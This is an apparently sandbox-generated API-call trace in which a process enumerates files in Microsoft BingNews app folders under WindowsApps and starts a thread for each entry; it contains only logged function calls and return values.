	[0078.950] FindNextFileW (in: hFindFile=0x2dad7b8, lpFindFileData=0x2db79c0 | out: lpFindFileData=0x2db79c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047af3f, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x7047af3f, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x7047af3f, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2967, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.950] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.950] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.950] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e8800
	[0078.950] wcscpy (in: _Dest=0x47e8800, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.950] wcscat (in: _Dest=0x47e8800, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.950] wcscat (in: _Dest=0x47e8800, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e8800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf08
	[0078.950] FindNextFileW (in: hFindFile=0x2dad7b8, lpFindFileData=0x2db79c0 | out: lpFindFileData=0x2db79c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa2942e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.950] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.951] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ec068
	[0078.951] wcscpy (in: _Dest=0x47ec068, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.951] wcscat (in: _Dest=0x47ec068, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.951] wcscat (in: _Dest=0x47ec068, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ec068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf0c
	[0078.951] FindNextFileW (in: hFindFile=0x2dad7b8, lpFindFileData=0x2db79c0 | out: lpFindFileData=0x2db79c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa2942e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.951] FindClose (in: hFindFile=0x2dad7b8 | out: hFindFile=0x2dad7b8) returned 1
	[0078.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db79c0) returned 1
	[0078.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61370) returned 1
	[0078.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62080) returned 1

Thread:
	id = 255
	os_tid = 0x3fc

	[0076.777] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f5b0
	[0076.777] wcscpy (in: _Dest=0x2d7f5b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0076.777] wcscat (in: _Dest=0x2d7f5b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0076.777] wcscat (in: _Dest=0x2d7f5b0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\*"
	[0076.777] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc1ee0
	[0076.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d4c9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f40
	[0076.778] wcscmp (_String1=".", _String2=".") returned 0
	[0076.778] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d4c9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.713] wcscmp (_String1="..", _String2=".") returned 1
	[0077.713] wcscmp (_String1="..", _String2="..") returned 0
	[0077.713] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x502d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfiguration.xml", cAlternateFileName="")) returned 1
	[0077.713] wcscmp (_String1="AppConfiguration.xml", _String2=".") returned 1
	[0077.713] wcscmp (_String1="AppConfiguration.xml", _String2="..") returned 1
	[0077.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47ca2e0
	[0077.713] wcscpy (in: _Dest=0x47ca2e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.713] wcscat (in: _Dest=0x47ca2e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.713] wcscat (in: _Dest=0x47ca2e0, _Source="AppConfiguration.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml"
	[0077.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ca2e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8
	[0077.714] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x6eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0077.714] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0077.714] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0077.714] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476bf00
	[0077.714] wcscpy (in: _Dest=0x476bf00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.714] wcscat (in: _Dest=0x476bf00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.714] wcscat (in: _Dest=0x476bf00, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476bf00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4
	[0077.715] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2092, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.715] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.715] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476cf68
	[0077.715] wcscpy (in: _Dest=0x476cf68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.715] wcscat (in: _Dest=0x476cf68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.715] wcscat (in: _Dest=0x476cf68, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476cf68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0
	[0077.716] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d61ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0077.716] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0077.716] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0077.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4769ae8
	[0077.716] wcscpy (in: _Dest=0x4769ae8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.716] wcscat (in: _Dest=0x4769ae8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.716] wcscat (in: _Dest=0x4769ae8, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0077.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4769ae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0077.717] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.717] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.717] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.717] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476bb18
	[0077.717] wcscpy (in: _Dest=0x476bb18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.717] wcscat (in: _Dest=0x476bb18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.717] wcscat (in: _Dest=0x476bb18, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476bb18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8
	[0077.718] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d69dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.718] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.718] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d614d0
	[0077.718] wcscpy (in: _Dest=0x2d614d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.718] wcscat (in: _Dest=0x2d614d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.718] wcscat (in: _Dest=0x2d614d0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets"
	[0077.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d614d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4
	[0077.719] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0077.719] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0077.719] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0077.719] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa458f92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705138c0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1
	[0077.719] wcscmp (_String1="Configuration", _String2=".") returned 1
	[0077.719] wcscmp (_String1="Configuration", _String2="..") returned 1
	[0077.719] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a1a8
	[0077.719] wcscpy (in: _Dest=0x476a1a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.719] wcscat (in: _Dest=0x476a1a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.719] wcscat (in: _Dest=0x476a1a8, _Source="Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration"
	[0077.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476a1a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0
	[0077.720] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705138c0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705138c0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705138c0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x9572, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1
	[0077.720] wcscmp (_String1="MarketConfiguration.xml", _String2=".") returned 1
	[0077.720] wcscmp (_String1="MarketConfiguration.xml", _String2="..") returned 1
	[0077.720] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477d1d8
	[0077.720] wcscpy (in: _Dest=0x477d1d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.720] wcscat (in: _Dest=0x477d1d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.720] wcscat (in: _Dest=0x477d1d8, _Source="MarketConfiguration.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml"
	[0077.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d1d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc
	[0077.721] FindNextFileW (in: hFindFile=0x2d70f40, lpFindFileData=0x2dc1ee0 | out: lpFindFileData=0x2dc1ee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70585fca, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa459889, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising", cAlternateFileName="MICROS~1.ADV")) returned 1
	[0077.721] wcscmp (_String1="Microsoft.Advertising", _String2=".") returned 1
	[0077.721] wcscmp (_String1="Microsoft.Advertising", _String2="..") returned 1
	[0077.721] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ca3b0
	[0077.721] wcscpy (in: _Dest=0x47ca3b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.721] wcscat (in: _Dest=0x47ca3b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.721] wcscat (in: _Dest=0x47ca3b0, _Source="Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0077.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ca3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8
